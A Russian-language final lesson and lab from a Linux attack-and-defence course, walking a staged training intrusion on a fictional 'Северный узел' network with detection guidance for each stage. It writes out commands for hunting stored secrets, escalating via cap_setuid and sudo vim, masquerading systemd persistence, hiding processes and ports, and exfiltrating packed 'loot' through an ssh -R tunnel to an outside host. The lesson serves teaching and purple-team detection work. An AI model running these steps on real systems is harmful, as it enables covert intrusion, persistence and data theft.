«Северный узел: Нулевой день» — итоговая операция

Девять предыдущих тем дали набор приёмов: перехват библиотек, разбор артефактов, эскалация через capabilities, локальные эксплойты, закрепление через systemd и cron, тамперинг загрузчика, сокрытие процессов и трафика, работа с eBPF и прямыми системными вызовами, чтение чужой памяти. По отдельности каждый приём — техника. Вместе они образуют операцию, и операция отличается от набора техник тремя вещами: порядком, контролем и следами.

Порядок важен потому, что каждый следующий шаг опирается на предыдущий: нельзя закрепиться, не получив root; нельзя скрыть процесс, не поняв, какие интерфейсы его показывают; нельзя вынести данные, не имея канала. Контроль важен потому, что операция без контрольных точек превращается в цепочку догадок: шаг считается выполненным только тогда, когда проверен результат, а не когда команда отработала без ошибки. Следы важны потому, что операция оценивается не по тому, что удалось сделать, а по тому, что осталось после.

Эта тема — не новая техника, а сборка. Сквозной сценарий разворачивается в учебной инфраструктуре «Северный узел»: бастион, целевой сервер приложений, узел мониторинга и внешний сервер, который атакующий использует как точку выноса. Все адреса — документационные (192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24), домены — nsu.example, данные — вымышленные.

Изложение идёт по этапам. Для каждого этапа описано, что делает атакующий, какая контрольная точка подтверждает успех, что в этот момент видит защитник и какая настройка ломает этап. В конце — матрица обнаружения, структура отчёта и разбор «как бы это поймали». Материал опирается на предыдущие темы и не повторяет их механику: там, где нужна глубина, даётся ссылка.

Инфраструктура и пути показаны на рисунке 1. Классификация этапов соответствует тактикам MITRE ATT&CK: Initial Access, Discovery, Privilege Escalation, Persistence, Defense Evasion, Exfiltration ³.

Рамка операции

Инфраструктура и роли

Цель операции — получить устойчивый доступ к app.nsu.example, подтвердить права root, закрепиться так, чтобы доступ пережил перезагрузку, и вынести учебный файл, не оставив следов, которые видны штатным утилитам. Отдельная цель — не быть обнаруженным eBPF-трейсером, который стоит на узле мониторинга.

Что считается успехом

Успех описывается не эмоцией, а списком проверяемых утверждений:

1. Доступ к app.nsu.example получен под непривилегированной учётной записью.
2. Найден и подтверждён вектор повышения прав до root.
3. Создана точка закрепления, переживающая перезагрузку.
4. Процесс и слушающий порт не видны ps, ss и ls /proc при обычном вызове.
5. Учебный файл вынесен на внешний сервер.
6. Для каждого шага известен хотя бы один независимый признак, который он оставил.

Шестой пункт — не формальность. Операция, после которой нельзя ответить «что именно нас выдало», считается незавершённой: защитник найдёт след раньше, чем атакующий поймёт, что его ищут.

Контрольные точки и журнал

Каждый этап завершается контрольной точкой. Если она не пройдена, следующий этап не начинается: сначала разбор.

Журнал операции ведётся с самого начала: время, команда, результат, что изменилось в системе. Без журнала невозможно ни отчитаться, ни разобрать, где операция оставила лишний след. Требования к полноте и порядку фиксации событий при разборе инцидента описаны в криминалистической методике ⁴.

Этап 0. Первичный доступ

Разведка снаружи

Внешняя разведка ограничена: видны только бастион и, возможно, веб-сервис. Проверяются открытые порты, версии SSH, баннеры, DNS-записи. Ничего экзотического: цель — понять, куда входить, а не найти уязвимость в первые пять минут.

nmap -Pn -sT -p22,80,443 192.0.2.10 192.0.2.20
dig +short app.nsu.example

Дальше — попытка входа по ключу, который «нашёлся» в учебной истории пользователя. Механика поиска артефактов и работа с агентом SSH разобраны в теме 2 ⁶. В реальной операции ключ добывается иначе (тема 2), но механика входа та же: ssh -i key user@app.nsu.example.

Вход и первый след

Любой вход по SSH оставляет запись в трёх местах: в журнале sshd на целевом хосте, в wtmp (успешный вход) и на бастионе, если вход шёл через него. Запись содержит пользователя, адрес источника, отпечаток ключа и время.

Accepted publickey for deploy from 198.51.100.10 port 51234 ssh2: ED25519 SHA256:...

С точки зрения защитника это первый и самый надёжный признак: новый адрес, новый ключ, необычное время. С точки зрения атакующего — первый след, который придётся объяснять. Убрать его из локальных журналов можно (тема 6), но на бастионе и на узле мониторинга останется копия.

Что видит защитник

• auth.log/journalctl -u ssh: успешный вход, адрес, ключ;
• last/wtmp: сессия;
• сетевые логи бастиона: соединение с рабочей станции;
• аномалия: пользователь, который обычно входит с другого адреса.

Этап 1. Разведка на хосте

Сбор

На хосте разведка отвечает на четыре вопроса: кто я, что мне разрешено, что запущено и что можно использовать. Минимальный набор:

id; sudo -l; getcap -r / 2>/dev/null; find / -perm -4000 -type f 2>/dev/null
systemctl list-timers --all --no-pager; systemctl list-unit-files --state=enabled
cat /etc/crontab; ls -la /etc/cron.d /var/spool/cron/crontabs 2>/dev/null
mount | grep -E 'nosuid|noexec'; uname -a; cat /etc/os-release

Каждый пункт — не просто команда, а вопрос. sudo -l показывает, какие команды разрешены без пароля; getcap — какие бинарники получили capabilities; find -perm -4000 — SUID-биты. Ответы складываются в таблицу векторов.

Скрипт инвентаризации

Разведка вручную занимает время и оставляет много следов. Компактный скрипт делает то же самое одним запуском:

#!/bin/sh
# inventory.sh — минимальная инвентаризация хоста
set -eu
echo "== whoami =="; id
echo "== sudo =="; sudo -n -l 2>/dev/null || echo 'нет или нужен пароль'
echo "== capabilities =="; getcap -r / 2>/dev/null || true
echo "== suid =="; find / -xdev -perm -4000 -type f 2>/dev/null
echo "== units =="; systemctl list-units --type=service --state=running --no-pager
echo "== timers =="; systemctl list-timers --all --no-pager
echo "== cron =="; ls -la /etc/cron.d /etc/cron.daily 2>/dev/null
echo "== kernel =="; uname -r

Скрипт шумит: find / читает каталоги, getcap обходит файловую систему, systemctl обращается к D-Bus. Шум виден в auditd и в eBPF. Уменьшить его можно, ограничив обход (-xdev, конкретные каталоги) и выполняя команды по одной, а не одним пакетом.

Поиск секретов в конфигурации

Разведка не заканчивается правами. На хосте почти всегда есть файлы, которые содержат то, что не должно быть доступно: токены в ~/.netrc, пароли в EnvironmentFile, ключи в ~/.ssh, учётные данные в .git-credentials, строки подключения в конфигурациях приложений. Поиск идёт по именам и по содержимому:

grep -RIl --exclude-dir=.git -E 'password|passwd|secret|token|api_key' /etc /opt /home 2>/dev/null | head -20
find /home /opt -maxdepth 3 \( -name '.netrc' -o -name '.git-credentials' -o -name 'id_*' \) 2>/dev/null

Это шумная операция: grep -R читает много файлов и оставляет следы в auditd на openat. Тише — читать конкретные файлы, о существовании которых известно из конфигурации сервисов (systemctl cat, EnvironmentFile=).

Что видит защитник

• auditd: execve для find, getcap, systemctl, sudo;
• eBPF: те же вызовы на уровне ядра, независимо от того, как они сделаны;
• journalctl: обращения к D-Bus и к systemctl;
• аномалия: пользователь, который никогда не запускал getcap, запускает его ночью.

Этап 2. Эскалация

Выбор вектора

Из инвентаризации выбирается вектор с наименьшим шумом и наибольшей надёжностью. В учебном сценарии на хосте оказывается бинарник с cap_setuid — этого достаточно. Альтернативы: ошибка в sudoers, SUID-бинарник из GTFOBins, уязвимость ядра. Механика каждого разобрана в темах 3 и 4; здесь важна последовательность. Модель прав и capabilities на уровне ядра описана в литературе ⁷.

getcap -r / 2>/dev/null

/usr/local/bin/backup-tool cap_setuid=ep

Эксплуатация и подтверждение

cap_setuid на интерпретаторе или на программе, которая позволяет выполнить код, даёт смену uid. Подтверждение — не «команда не выдала ошибку», а конкретная проверка:

/usr/local/bin/backup-tool --exec 'id -u'

0

После этого — чтение /etc/shadow как доказательство, что права реальные, а не иллюзия:

head -1 /etc/shadow

Если вектор не сработал, он фиксируется в журнале как неудачный и выбирается следующий. Пробовать всё подряд — шум, который сводит на нет этап сокрытия.

Альтернативы: sudo и локальный эксплойт

cap_setuid — удобный, но не единственный вектор. Ошибка в sudoers встречается чаще, чем кажется: разрешение на vim, less, find, tar без пароля превращается в root через GTFOBins (тема 3). Проверка:

sudo -n -l

User deploy may run the following commands on app:
    (root) NOPASSWD: /usr/bin/vim

Дальше — sudo vim -c ':!sh'. Это грубый, шумный, но работающий путь. Третий вариант — локальный эксплойт ядра (тема 4); он применяется, когда первые два недоступны, и требует снапшота ВМ, потому что неудачная попытка может уронить машину.

Выбор вектора — компромисс между шумом, надёжностью и последствиями. В учебной операции cap_setuid выбран потому, что он не роняет систему и оставляет один понятный след в auditd.

Что видит защитник

• auditd: execve бинарника с capabilities, setuid, чтение /etc/shadow;
• journalctl: sudo-события, если вектор шёл через sudo;
• eBPF: sys_enter_setuid и sys_enter_openat для /etc/shadow;
• аномалия: процесс с capabilities, который обычно не запускается.

Этап 3. Закрепление

Таймер и linger

Первая точка закрепления — пользовательский таймер с linger. Она не требует root и переживает выход из сессии. Механика — в теме 5; здесь важна маскировка: формат юнитов и таймеров документирован в systemd ², а администрирование служб — в руководстве ⁵. имя юнита, описание и путь должны выглядеть штатно.

# ~/.config/systemd/user/telemetry-sync.service
[Unit]
Description=Telemetry Sync Worker

[Service]
Type=oneshot
ExecStart=/bin/sh -c 'date -Is >> %h/.local/share/telemetry-sync.log'

[Install]
WantedBy=default.target

# ~/.config/systemd/user/telemetry-sync.timer
[Unit]
Description=Telemetry Sync Schedule

[Timer]
OnBootSec=2min
OnUnitActiveSec=15min
RandomizedDelaySec=30
Persistent=true

[Install]
WantedBy=timers.target

systemctl --user daemon-reload
systemctl --user enable --now telemetry-sync.timer
sudo loginctl enable-linger deploy

Контрольная точка К4: перезагрузка и проверка, что таймер сработал без входа. systemctl --user list-timers после перезагрузки покажет следующий запуск.

Хук initramfs

Вторая точка — уровень загрузки (тема 6). Хук в /etc/initramfs-tools/scripts/init-premount выполняется до монтирования корня и не виден в journalctl. Для учебной операции достаточно хука, который пишет маркер в /dev/kmsg при определённом параметре ядра, — он демонстрирует уровень, не ломая загрузку.

#!/bin/sh
# /etc/initramfs-tools/scripts/init-premount/zz-probe
set -eu
case "$(cat /proc/cmdline)" in
    *probe=1*) echo 'probe: initramfs stage' > /dev/kmsg ;;
esac

sudo install -m 0755 zz-probe /etc/initramfs-tools/scripts/init-premount/zz-probe
sudo update-initramfs -u -k all

Хук в образе — правка, которая исчезнет при обновлении ядра. Для живучести его кладут в /etc/kernel/postinst.d/ (тема 6). Это уже вторая точка, независимая от таймера: если одну найдут, вторая останется.

Маскировка под штатный сервис

Точка закрепления редко выдаёт себя именем. Маскировка — это набор мелких решений, каждое из которых по отдельности ничего не значит: имя юнита из слов, встречающихся в системных (sync, telemetry, updates, metrics), описание, совпадающее с поведением, путь в /usr/local/libexec или /opt, отсутствие ExecStartPre с подозрительной командой, Restart=always и RestartSec в разумных пределах.

Что выдаёт подделку, описано в теме 5: несоответствие dpkg -S, свежий mtime, путь вне /usr/bin, процессы в cgroup, не соответствующие описанию. В операции маскировка применяется не для того, чтобы обмануть внимательного защитника навсегда, а чтобы выиграть время до первого автоматического обхода.

Резервный канал

Третья точка — ключ в authorized_keys пользователя, который редко входит. Она шумная (файл проверяется защитниками в первую очередь), но полезна как резерв, если таймер и хук будут удалены. В учебной операции достаточно двух точек; третья добавляется, если по условиям задачи нужен «доступ после полной зачистки».

Что видит защитник

• systemctl --user list-timers, loginctl show-user -p Linger;
• lsinitramfs и хеш /boot/initrd.img-* (тема 6);
• auditd на /etc/systemd, /var/lib/systemd/linger, /etc/initramfs-tools;
• аномалия: linger у обычного пользователя, новый таймер с нестандартным расписанием.

Этап 4. Сокрытие

Процесс

Сокрытие процесса начинается с вопроса: от кого скрываем? От ps, от ls /proc, от systemd-cgls или от всего сразу. User-mode перехват (тема 7) закрывает первый слой и не закрывает остальные. Устройство procfs и системных вызовов описано в документации ядра ⁸ и у Керриска ¹. В операции он используется вместе с прямыми системными вызовами (тема 8), чтобы не оставлять библиотеку в maps.

/* фрагмент: перехват readdir, скрывающий процесс по comm */
while ((e = real(dirp)) != NULL) {
    if (is_pid(e->d_name) && is_hidden(e->d_name))
        continue;
    return e;
}

Границы приёма известны: статические утилиты, прямой getdents64, cgroup.procs, auditd и eBPF видят процесс независимо. Поэтому сокрытие — это не «процесса нет», а «процесс не виден привычным инструментам».

Порт

Слушающий порт скрывается переносом на 127.0.0.1 и правилом REDIRECT (тема 7). Снаружи виден только порт, который выглядит штатно; ss показывает внутренний, если смотреть на хосте.

iptables -t nat -A OUTPUT -p tcp --dport 8080 -j REDIRECT --to-port 2222
iptables -t nat -A PREROUTING -p tcp --dport 8080 -j REDIRECT --to-port 2222

Что делать с eBPF-трейсером

На monitor.nsu.example стоит eBPF-трейсер, который видит системные вызовы на уровне ядра. Перехват библиотек от него не спасает: вызов всё равно уходит в ядро. Единственный способ не попасть в трейс — не делать вызовов, которые он отслеживает, или делать их в контексте, который неотличим от штатного.

Практические приёмы:

• меньше вызовов: один execve скрипта вместо десяти утилит; чтение файла одним read вместо grep -R;
• штатные имена: запуск из пути, который уже встречается в системе, с аргументами, похожими на обычные;
• разнесение по времени: операции не в одну секунду, а в разные окна;
• использование уже запущенных процессов: инъекция в существующий сервис (тема 9) не создаёт нового execve.

Прямой системный вызов (тема 8) обходит LD_PRELOAD, но не обходит sys_enter_* в eBPF. Это важно понимать: «обход EDR» в Linux — это не один приём, а работа с тем, какие именно события собирает конкретный трейсер.

Логи

Чистка логов — самый шумный этап. sed -i по auth.log, utmpdump по wtmp, journalctl --vacuum-time оставляют следы в метаданных, в auditd и в резервных копиях. В учебной операции достаточно удалить одну запись из wtmp в копии и показать, что ctime и journalctl её выдают (тема 6). Полная зачистка не выполняется: она бессмысленна, если журналы уходят на узел мониторинга.

Что видит защитник

• расхождение ps и прямого обхода /proc;
• ss и conntrack для порта;
• auditd на ptrace, bind, connect;
• journalctl --verify и __SEQNUM для журнала;
• TracerPid, maps, environ для процесса.

Этап 5. Эксфильтрация

Дамп sshd

Самый ценный объект на хосте — память sshd: ключи хоста и сессий (тема 9). Чтение требует прав и разрешения Yama; в учебной операции используется учебный сервис, а не настоящий sshd, чтобы не трогать системные ключи.

pid=$(pgrep -f './target_service' | head -1)
python3 dump_inspect.py "$pid"

Канал ssh -R

Обратный туннель не открывает внешних портов на цели (тема 7):

ssh -N -R 8080:127.0.0.1:2222 deploy@203.0.113.10

Снаружи видно исходящее SSH-соединение, процесс ssh -N и слушатель на 127.0.0.1:2222. На внешнем сервере — входящее соединение и порт 8080.

Подготовка данных

Перед выносом данные упаковываются: tar с -C, gzip или zstd, при необходимости — разбиение на части и кодирование в Base64 для каналов, которые не любят двоичные данные. Хеш считается до и после, чтобы подтвердить целостность.

tar -czf - -C /home/deploy loot | openssl enc -aes-256-cbc -pbkdf2 -pass pass:учебный > /tmp/loot.enc
sha256sum /tmp/loot.enc
split -b 32k /tmp/loot.enc /tmp/loot.part.

Размер частей выбирается под канал: для DNS — сотни байт, для SSH-туннеля — десятки килобайт. Шифрование не делает вынос незаметным: объём и направление трафика видны в flow-логах независимо от содержимого.

DNS-канал

Если исходящие соединения ограничены, остаётся DNS (тема 7). В учебной операции достаточно передать небольшой файл в поддоменах и показать, как это выглядит в логах DNS-сервера: длинные метки, высокая частота, необычные типы записей.

Что видит защитник

• conntrack на обеих сторонах;
• journalctl -u ssh на цели, journalctl -u sshd на внешнем сервере;
• DNS-логи: аномальные запросы;
• flow-логи шлюза: объём и направление.

Синяя сторона: восстановление картины

Источники и корреляция

Ни один источник не даёт полной картины. Полная картина собирается из нескольких, и главный инструмент — время. Одна операция оставляет следы в auth.log, auditd, journald, conntrack и DNS-логах; они должны сойтись по времени и по субъекту.

Временная шкала операции показана на рисунке 2.

Построение временной шкалы

Корреляция начинается с приведения времени к одному поясу и формату. journalctl умеет -o short-iso, auditd — ausearch -i, last — -F. Дальше события складываются в один файл и сортируются:

journalctl --since '2026-10-19 00:00' --until '2026-10-20 00:00' -o short-iso --no-pager > /tmp/timeline.txt
sudo ausearch -i --start '2026-10-19 00:00:00' --end '2026-10-20 00:00:00' >> /tmp/timeline.txt
last -F >> /tmp/timeline.txt
sort -k1,2 /tmp/timeline.txt | head -50

Простой скрипт, который выделяет подозрительные события:

#!/usr/bin/env python3
"""Выделяет из журнала события, связанные с указанным пользователем."""
import re
import sys

user = sys.argv[1] if len(sys.argv) > 1 else "deploy"
patterns = [
    rf"{user}",
    r"sudo",
    r"ptrace",
    r"setuid",
    r"/etc/shadow",
    r"systemd.*(start|enable)",
]

with open("/tmp/timeline.txt", errors="replace") as fh:
    for line in fh:
        if any(re.search(p, line) for p in patterns):
            print(line.rstrip())

Скрипт — не детектор, а фильтр: он убирает шум и оставляет строки, которые человек прочитает глазами. Автоматические правила дают ложные срабатывания, и на учебной операции это нормально: цель — научиться читать шкалу, а не настроить SIEM.

Матрица обнаружения по этапам

Что ломает каждый этап

• 0: обязательный второй фактор и запрет входа по ключу с новых адресов без подтверждения.
• 1: auditd на execve и eBPF-трейсер, который видит вызовы независимо от библиотек.
• 2: минимальные capabilities, NoNewPrivileges, nosuid на разделах, своевременные обновления ядра.
• 3: контроль хешей /boot, аудит конфигурации systemd, запрет linger для обычных пользователей.
• 4: сравнение нескольких интерфейсов видимости, внешний журнал, hidepid=2.
• 5: AllowTcpForwarding no, GatewayPorts no, DNS-фильтрация, контроль исходящих соединений.

Отчёт операции

Структура отчёта

Отчёт — не рассказ, а документ, по которому можно воспроизвести проверку. Минимальная структура:

1. Рамка: цель, инфраструктура, ограничения, время начала и конца.
2. Этапы: для каждого — что сделано, чем подтверждено, что изменено в системе.
3. Контрольные точки: пройдены или нет, с доказательством.
4. Следы: для каждого этапа — источник, запись, время.
5. Что не сработало: векторы, которые проверены и отвергнуты.
6. Выводы: какие настройки сработали, какие нет, что менять.

Пример заполнения

Фрагмент отчёта по этапу эскалации — так, чтобы его можно было проверить:

Такой фрагмент отвечает на все вопросы сразу: что сделано, чем подтверждено, что осталось. Отчёт из десятка таких фрагментов читается быстрее, чем связный текст на десять страниц.

Ограничения учебного сценария

Сценарий учебный, и это накладывает ограничения, которые нужно назвать честно. Во-первых, все узлы — виртуальные машины или пространства имён, а не реальная инфраструктура; сетевые задержки, шум и человеческий фактор в них не воспроизводятся. Во-вторых, eBPF-трейсер на monitor.nsu.example упрощён: он показывает принцип, а не полный набор правил промышленной системы. В-третьих, учебный сервис разрешает отладку через PR_SET_PTRACER_ANY, иначе часть этапов была бы невозможна при ptrace_scope=1.

Эти ограничения не отменяют выводов: механика приёмов и механика обнаружения от них не зависят. Но переносить оценки «сколько времени займёт обнаружение» с учебного стенда на реальную инфраструктуру нельзя.

Разбор «как бы это поймали»

Хороший разбор отвечает не на вопрос «заметили ли нас», а на вопрос «что именно и в какой момент». Для учебной операции:

1. Вход: auth.log показывает новый адрес в T0; защитник, у которого есть правило на новые адреса, узнаёт об операции в первые минуты.
2. Разведка: auditd фиксирует getcap и find в T1; eBPF видит те же вызовы, даже если auditd отключён.
3. Эскалация: setuid и чтение /etc/shadow в T2 — самый явный признак; правило на чтение shadow срабатывает сразу.
4. Закрепление: новый таймер и linger в T3; аудит /etc/systemd и /var/lib/systemd/linger ловит их при создании, а не при срабатывании.
5. Сокрытие: расхождение ps и прямого обхода /proc в T4; перехват виден по maps и environ.
6. Вынос: исходящее SSH в T5; conntrack и flow-логи показывают соединение, даже если процесс скрыт.

Вывод: каждый этап имеет независимый признак, и защитник, у которого настроены все шесть источников, обнаруживает операцию на этапе 0 или 1. Атакующий, который хочет пройти дальше, вынужден либо снижать шум (медленнее, дороже), либо ломать источники (что само по себе заметно).

Типичные провалы операции

Операция проваливается не на сложных приёмах, а на простых вещах. Пять самых частых:

1. Шум на разведке. find / и grep -R по всей файловой системе занимают минуты и оставляют тысячи событий в auditd. Защитник видит аномалию раньше, чем атакующий находит вектор.
2. Один канал закрепления. Таймер удалён — доступа нет. Вторая точка (хук, ключ) должна быть независимой по механизму, а не по имени.
3. Проверка без доказательства. Команда отработала без ошибки, но id -u не проверен. Дальше строится цепочка на ложном основании.
4. Следы в метаданных. Удалённая запись из wtmp оставила ctime каталога и расхождение с journalctl. Логи чистятся, а метаданные — нет.
5. Забытый канал. После операции остаётся исходящее SSH-соединение, которое живёт сутками и видно в conntrack. Канал надо закрывать сразу после выноса.

Разбор каждого провала полезнее, чем разбор успеха: успех подтверждает, что приём работает, провал показывает, где именно модель мира разошлась с реальностью.

Итоги курса

Апокрифы начались с окружения и LD_PRELOAD, а закончились операцией, в которой каждый приём занял своё место. Общая логика курса: у любого действия в Linux есть несколько интерфейсов видимости, и полное сокрытие требует контроля над всеми. Перехват библиотеки закрывает один интерфейс, прямой системный вызов — другой, модуль ядра — третий, но и они оставляют следы в журналах, метриках и на соседних узлах.

Второй вывод: закрепление и сокрытие — разные задачи, и решать их надо разными средствами. Таймер переживает перезагрузку, но виден в list-timers; хук initramfs не виден в journalctl, но меняет хеш /boot; перехват readdir скрывает процесс от ps, но не от cgroup. Комбинировать их нужно так, чтобы обнаружение одного не раскрывало остальные.

Третий вывод: обнаружение строится на независимых источниках и корреляции по времени. Защитник, который смотрит только journalctl, проигрывает; защитник, который сверяет journalctl, auditd, eBPF, conntrack и внешний журнал, выигрывает на раннем этапе. Именно поэтому в курсе у каждой темы есть парный раздел «обнаружение и защита»: приём без контрмеры — половина знания.

Дальше — самостоятельная работа: собрать собственную лабораторию, пройти операцию по этапам, а затем разобрать её со стороны защиты по собственным логам. Курс заканчивается там, где начинается практика.

Литература

1. The Linux man-pages project. — https://man7.org/linux/man-pages/
2. systemd. Документация systemd.unit, systemd.service, systemd.timer, journalctl. — https://www.freedesktop.org/software/systemd/man/
3. MITRE ATT&CK: Linux techniques. — https://attack.mitre.org/
4. NIST SP 800-86. Guide to Integrating Forensic Techniques into Incident Response. — 2006.
5. Nemeth E., Snyder G., Hein T. R., Whaley B., Mackin D. UNIX and Linux System Administration Handbook. 5th ed. — Addison-Wesley, 2017.
6. Kerrisk M. The Linux Programming Interface. — No Starch Press, 2010.
7. Bovet D. P., Cesati M. Understanding the Linux Kernel. 3rd ed. — O'Reilly Media, 2005.
8. Linux Kernel Documentation. — https://docs.kernel.org/

Дополнительные материалы

Вопросы для самопроверки

1. Почему операция начинается с журнала, а не с первой команды?
2. Что отличает контрольную точку от простого «команда отработала»?
3. Почему разведка — самый шумный этап и как уменьшить шум, не потеряв результат?
4. Почему одной точки закрепления недостаточно и что значит «независимость» точек?
5. Какие интерфейсы видимости не затрагивает перехват readdir?
6. Почему перенаправление порта не скрывает соединение от conntrack?
7. Что подтверждает хеш при выносе данных и чего он не подтверждает?
8. Какие источники позволяют восстановить временную шкалу и в каком порядке их сводить?
9. Почему обнаружение на раннем этапе дешевле, чем на позднем?
10. Какая настройка ломает каждый этап операции?
11. Почему учебный стенд не позволяет оценивать реальное время обнаружения?
12. Что делать, если контрольная точка не пройдена: продолжать или разбираться?
13. Чем отличается отчёт об операции от разбора обнаружения?
14. Почему «нас не заметили» — не вывод, а отсутствие данных?

Глоссарий темы

Шпаргалка

Этапы и команды

# доступ
ssh -o BatchMode=yes deploy@192.0.2.20 'id; hostname'
last -F | head

# разведка
id; sudo -n -l; getcap -r /; find / -xdev -perm -4000 -type f
systemctl list-timers --all; ls -la /etc/cron.d

# эскалация (учебный бинарник с cap_setuid)
getcap /usr/local/bin/lab-python
/usr/local/bin/lab-python -c 'import os; os.setuid(0); print(os.getuid())'

# закрепление
systemctl --user enable --now lab-sync.timer
sudo loginctl enable-linger "$USER"

# сокрытие
LD_PRELOAD=./hide.so ls
iptables -t nat -A OUTPUT -p tcp --dport 8080 -j REDIRECT --to-port 2222

# вынос
tar -czf loot.tar.gz -C loot .
sha256sum loot.tar.gz
socat -u FILE:loot.tar.gz TCP:127.0.0.1:9090

Сбор шкалы

journalctl --since '2026-10-19 00:00' -o short-iso --no-pager > /tmp/timeline.txt
sudo ausearch -i --start '2026-10-19 00:00:00' >> /tmp/timeline.txt
last -F >> /tmp/timeline.txt
sort -k1,2 /tmp/timeline.txt
python3 timeline.py logs/

Проверки защиты

systemctl list-unit-files --state=enabled
systemctl list-timers --all
systemd-delta
ls -l /var/lib/systemd/linger/
sha256sum /boot/initrd.img-$(uname -r)
ss -tulpn; sudo conntrack -L
sudo ausearch -k execve -i --start today

Типичные ошибки

Что почитать и посмотреть

• MITRE ATT&CK. — https://attack.mitre.org/ — тактики и техники, соответствие этапам операции.
• NIST SP 800-86. Guide to Integrating Forensic Techniques into Incident Response. — 2006. — порядок сбора и анализа данных.
• The Linux man-pages project. — https://man7.org/linux/man-pages/ — proc(5), ptrace(2), capabilities(7), systemd-страницы.
• systemd. Документация. — https://www.freedesktop.org/software/systemd/man/ — юниты, таймеры, журнал.
• Nemeth E., Snyder G., Hein T. R., Whaley B., Mackin D. UNIX and Linux System Administration Handbook. 5th ed. — Addison-Wesley, 2017.
• Kerrisk M. The Linux Programming Interface. — No Starch Press, 2010.
• Bovet D. P., Cesati M. Understanding the Linux Kernel. 3rd ed. — O'Reilly Media, 2005.
• Linux Kernel Documentation. — https://docs.kernel.org/ — procfs, netfilter, eBPF, IMA.

Углубление

Этапы операции и модель ATT&CK

Этапы учебной операции соответствуют тактикам ATT&CK не один к одному, но близко: Initial Access, Discovery, Privilege Escalation, Persistence, Defense Evasion, Exfiltration. Соответствие полезно тем, что даёт общий язык с защитой: правило обнаружения формулируется не «когда deploy запускает getcap», а «когда в системе появляется Discovery-активность от учётной записи, у которой её раньше не было».

Обратное соответствие тоже работает: если для этапа нет техники в модели, это повод проверить, не является ли этап спецификой стенда. Например, учебный бинарник с cap_setuid — это T1548 (Abuse Elevation Control Mechanism), а не отдельная техника.

Пурпурная команда: как из разбора получаются правила

Разбор «как бы это поймали» бесполезен, если не превращается в правило. Минимальный цикл: красная сторона выполняет этап, синяя формулирует признак, правило пишется и проверяется на том же этапе. Если правило срабатывает — оно остаётся; если нет — переписывается. Это и есть пурпурная работа, и она дешевле, чем полный цикл «атака — разбор — отчёт» без проверки.

Для учебной операции достаточно трёх правил: на чтение /etc/shadow, на создание юнита в /etc/systemd/system, на исходящее SSH-соединение с целевого хоста. Каждое проверяется повторным выполнением этапа.

Метрики, которые имеют смысл

«Сколько времени заняла операция» — плохая метрика: она зависит от стенда. Лучше считать:

• число этапов, обнаруженных до завершения операции;
• число источников, в которых этап оставил след;
• число ложных срабатываний на этап;
• время от первого следа до его попадания в отчёт.

Эти метрики можно сравнивать между запусками на одном стенде, и они показывают, улучшается ли обнаружение, а не только меняется ли сценарий.

Почему отчёт важнее успеха

Успешная операция без отчёта — это набор действий, который нельзя ни повторить, ни проверить, ни защитить. Отчёт фиксирует рамку, этапы, доказательства и следы; по нему другая команда может воспроизвести проверку и найти то, что пропустил автор. Поэтому в учебной работе отчёт оценивается наравне с результатом: если этап пройден, но не описан, он не засчитан.

Лабораторная работа 10. «Северный узел: Нулевой день»

• Раздел курса: апокриф 10 «„Северный узел: Нулевой день“ — итоговая операция»

Введение

Работа собирает приёмы девяти предыдущих тем в одну операцию. Она состоит из восьми частей: подготовка стенда, доступ, разведка, эскалация, закрепление, сокрытие, вынос и разбор со стороны защиты. Каждая часть заканчивается контрольной точкой; если точка не пройдена, следующая часть не начинается.

Стенд повторяет учебную инфраструктуру: бастион, целевой сервер, узел наблюдения и внешняя точка выноса. В зависимости от возможностей машины стенд собирается либо из виртуальных машин, либо из пространств имён и локальных процессов. Части, требующие root (эскалация, linger, initramfs), выполняются только в одноразовой виртуальной машине; остальные — где угодно.

Отдельная часть — синяя сторона. В архиве окружения лежат синтетические журналы учебной операции: auth.log, выгрузка auditd и экспорт journald. Читатель строит временную шкалу, находит этапы, сопоставляет источники и пишет разбор «как бы это поймали». Это не менее важная половина работы, чем красная: операция без разбора не считается выполненной.

Цель работы

После выполнения работы получится:

• разворачивать учебный стенд и вести журнал операции;
• проходить этапы доступа, разведки и эскалации с проверкой контрольных точек;
• ставить две независимые точки закрепления и проверять их переживание перезагрузки;
• скрывать процесс и порт и объяснять, какие интерфейсы всё равно их видят;
• выносить данные через туннель и подтверждать целостность;
• строить временную шкалу из нескольких источников;
• писать отчёт об операции и разбор обнаружения.

Теоретический минимум

Нужны все предыдущие темы апокрифов, особенно 3 (эскалация), 5 (закрепление), 6 (загрузчик), 7 (сокрытие), 9 (память). Эта тема не вводит новых механизмов; она показывает порядок и контроль.

Перечень оснащения

Ubuntu 24.04 LTS, две виртуальные машины (или одна ВМ и пространства имён), пакеты build-essential, gdb, binutils, iproute2, iptables, socat, netcat-openbsd, python3, openssh-client, openssh-server, auditd. Архив окружения lr-env содержит скрипты инвентаризации, генератор синтетических журналов, построитель временной шкалы, шаблон отчёта и уборку. Распакуйте архив в ~/lab-apocrypha-10.

sudo apt update && sudo apt install -y build-essential gdb binutils iproute2 iptables socat netcat-openbsd python3 openssh-client auditd

Порядок выполнения работы

Работайте в каталоге ~/lab-apocrypha-10. Ведите журнал операции с первой минуты: время, команда, результат, изменение в системе. Все действия — только на своём стенде.

Подготовка стенда

1. Сгенерируйте синтетические журналы:

   cd ~/lab-apocrypha-10
   bash make-logs.sh
   ls -la logs/
   

2. Прочитайте scenario/README.md и опишите стенд: какие узлы, какие адреса, кто где.

3. Зафиксируйте время начала операции:

   date -Is | tee journal-start.txt
   

Часть 1. Доступ и первый след

Задание

1. Проверьте доступность целевого узла (в учебном стенде — локальный пользователь или ВМ):

   ssh -o BatchMode=yes deploy@192.0.2.20 'id; hostname' 2>&1 | head -3
   

   Если стенд собран на локальной машине, роль deploy играет ваш пользователь, а app.nsu.example — локальный хост. Запишите фактическую конфигурацию.

2. Зафиксируйте, какие следы оставляет вход:

   last -F | head -3
   sudo journalctl -u ssh --since '5 min ago' --no-pager | tail -5
   

3. Заполните первую строку журнала: время, способ входа, источник, учётная запись.

4. Отметьте контрольную точку К1: доступ подтверждён, uid известен.

Что должно получиться

Запись в журнале с фактическим способом входа и списком следов, которые он оставил. В журнале — вывод last и journalctl.

Часть 2. Разведка

Задание

1. Запустите инвентаризацию:

   bash inventory.sh | tee inventory.txt
   

2. Разберите результат: какие пользовательские учётные записи есть, какие команды разрешены через sudo, какие бинарники имеют capabilities, какие SUID-биты найдены.

3. Составьте таблицу векторов эскалации: вектор, доказательство, шум, риск.

4. Проверьте, что разведка оставила в журналах:

